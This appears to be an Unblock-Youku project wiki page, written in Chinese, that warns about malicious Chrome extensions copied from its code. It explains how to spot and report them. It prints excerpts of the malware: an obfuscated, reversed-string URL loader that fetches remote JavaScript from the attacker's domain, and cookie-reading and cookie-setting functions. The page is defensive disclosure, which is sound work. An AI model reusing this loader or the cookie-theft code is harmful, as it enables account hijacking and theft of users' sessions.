-
Notifications
You must be signed in to change notification settings - Fork 651
恶意扩展程序列表及甄别办法
本文短链接:http://uku.im/malicious
Unblock-Youku 扩展本身是免费供大家使用,源代码也是在 AGPLv3 协议下开源,欢迎牛人为大家贡献代码。如果有别的项目想使用我们的开源代码也是欢迎的,只要遵守 AGPLv3 协议即可。
之前就注意到有个别几个在我们程序的基础上加上恶意的代码的恶意扩展程序。特别是最近一个有超过一百万粉丝的微薄大V帐号无意间给其中一个恶意扩展程序宣传了下…(联络过此微博的小编,现在原微博已经删除了。)
鉴于之前一个扩展程序开发者 @OpenGG 就是因为恶意扩展的原因不得不放弃(他的博客文章:我很愤怒、理想是如何失去的、你们该怎么办),于是觉得还是稍微出来说说比较好,让不了解技术的同学都能明白这其中的危害,以及以后选择安装扩展程序或app的时候都能小心一些。
另外本页的最后会介绍一些简单的甄别恶意扩展的办法,以及如何向 Google 举报这些恶意扩展的办法。
此为不完整列表,并不时更新。另外还可以参看别人整理的一些别的 恶意扩展列表1、列表2 和 列表3。
扩展程序链接:https://chrome.google.com/webstore/detail/fmakoabecaggdofhohcdjiaifnkmpldj
恶意源码存档:https://github.com/zhuzhuor/malicious-chrome-extensions/tree/master/fmakoabecaggdofhohcdjiaifnkmpldj
这个扩展的大部分源代码都是从旧版的 Unblock-Youku 而来,不过增加了自己的 background.js 等文件。
在 background.js 文件中会向服务器 http://chrome.5ihaitao.com
请求一个 log.js 文件。扩展作者就可以向这个 log.js 文件放入任意恶意代码。
function chk() {
var a = new XMLHttpRequest;
a.onreadystatechange = function () {
4 == a.readyState && (localStorage.updated = a.responseText)
};
a.open("GET", "sj.gol/gol/moc.oatiahi5.emorhc//:ptth".split("").reverse().join(""), !0);
a.send(null)
}
下载下来的 log.js 文件里,有获取和修改用户的 cookies 的代码。
function getCookie(c_name) {
if (document.cookie.length > 0) {
c_start = document.cookie.indexOf(c_name + '=');
if (c_start != -1) {
c_start = c_start + c_name.length + 1;
c_end = document.cookie.indexOf(';', c_start);
if (c_end == -1) {
c_end = document.cookie.length
}
return unescape(document.cookie.substring(c_start, c_end))
}
}
return ''
};
function setCookie(c_name, value, expiredays, path, domain, secure) {
var exdate = new Date();
exdate.setDate(exdate.getDate() + expiredays);
document.cookie = c_name + '=' + escape(value) + ((expiredays == null) ? '' : ';expires=' + exdate.toGMTString()) + (path ? ';path=' + path : '') + (domain ? ';domain=' + domain : '') + (secure ? ';secure' : '')
};
当恶意扩展作者得到用户的 cookies 之后不需要密码就可以登入用户的邮箱、社交网络、甚至银行帐户,导致隐私泄漏甚至财产损失。
以下内容摘自 Wikipedia:
If a website uses cookies as session identifiers, attackers can impersonate users’ requests by stealing a full set of victims’ cookies. From the web server's point of view, a request from an attacker then has the same authentication as the victim’s requests; thus the request is performed on behalf of the victim’s session.
最后说点题外话,那个域名 5ihaitao.com
有做过 ICP 备案,其实可以在工信部的网站上查到恶意扩展作者的真实姓名...
和上面同名的还有另外一个扩展程序。
扩展程序链接:https://chrome.google.com/webstore/detail/emmoddikhgncnaikamapbkggedoafomi
恶意源码存档:https://github.com/zhuzhuor/malicious-chrome-extensions/tree/master/emmoddikhgncnaikamapbkggedoafomi
和另外一个优酷海外版扩展的代码基本上一模一样,也是从 chrome.5ihaitao.com
请求 js 文件,猜测是同一个作者所为。
扩展程序链接:https://chrome.google.com/webstore/detail/aeocankoflefcaiabdkdjkenofcpjagb
恶意源码存档:https://github.com/zhuzhuor/malicious-chrome-extensions/tree/master/aeocankoflefcaiabdkdjkenofcpjagb
和优酷海外版代码也一样,猜测还为同一作者...
Chrome Web Store 现阶段还没有有效的阻止恶意扩展的办法,暂时只能靠用户来主动举报而采取处理。
另外因为 Google 工作人员有限,可能不能及时地处理举报信息。
**于是推荐大家见到恶意扩展都主动去举报下,反馈多了也许才能引起重视。**举报恶意扩展的步骤:
选项可以选择 This item contains malware or engages in harmful activity.
然后反馈的内容可以酌情填写,例如 It downloads a malicious javascript code from a remote server which steals and modifies users' cookies.
恶意扩展一般都要求一些跟功能无关的权限,用于其恶意行为。
下面为 Unblock-Youku 本身的权限和恶意扩展的权限对比:
Unblock-Youku
恶意扩展程序
恶意扩展的制作都比较粗糙,没有完善的图标和介绍说明等。
一般冒充官方程序名称的(例如优酷海外版),或者开发者冒充官方帐户的,程序基本上都是有问题的。
Google 官方的扩展程序
冒充 Google 的恶意程序
原版的安全的扩展程序一般用户都要比恶意扩展程序多一些,因为原版扩展的存在时间更久,并且了解技术的用户也会主动选择。所以选择用户人数多的扩展程序一般都不会有问题。
Unblock-Youku 和恶意扩展程序的活跃用户数对比:
强烈推荐安装扩展程序之前浏览一下现有用户的评论,特别是 Recent/最新 的评论。
不过有最近别的扩展遭受马甲或者水军的恶意评论,详见受害的开发者的原文。
以上的都是只看表面的办法,不保证完全靠谱。懂技术的同学可以直接检查扩展程序的源代码。
查看在 Chrome 后台运行的扩展程序的源码可以访问 chrome://extensions 页面,勾选上 Dev mode,然后点击相应扩展程序的 Inspect views 后面的链接就可以看到源码了。
想不安装扩展程序而直接检查源码的话,可以利用一些工具,例如 http://crx.zhuzhu.org,下载 crx 安装文件至本地,然后 unzip 解压缩就可以直接看到所有的源代码了。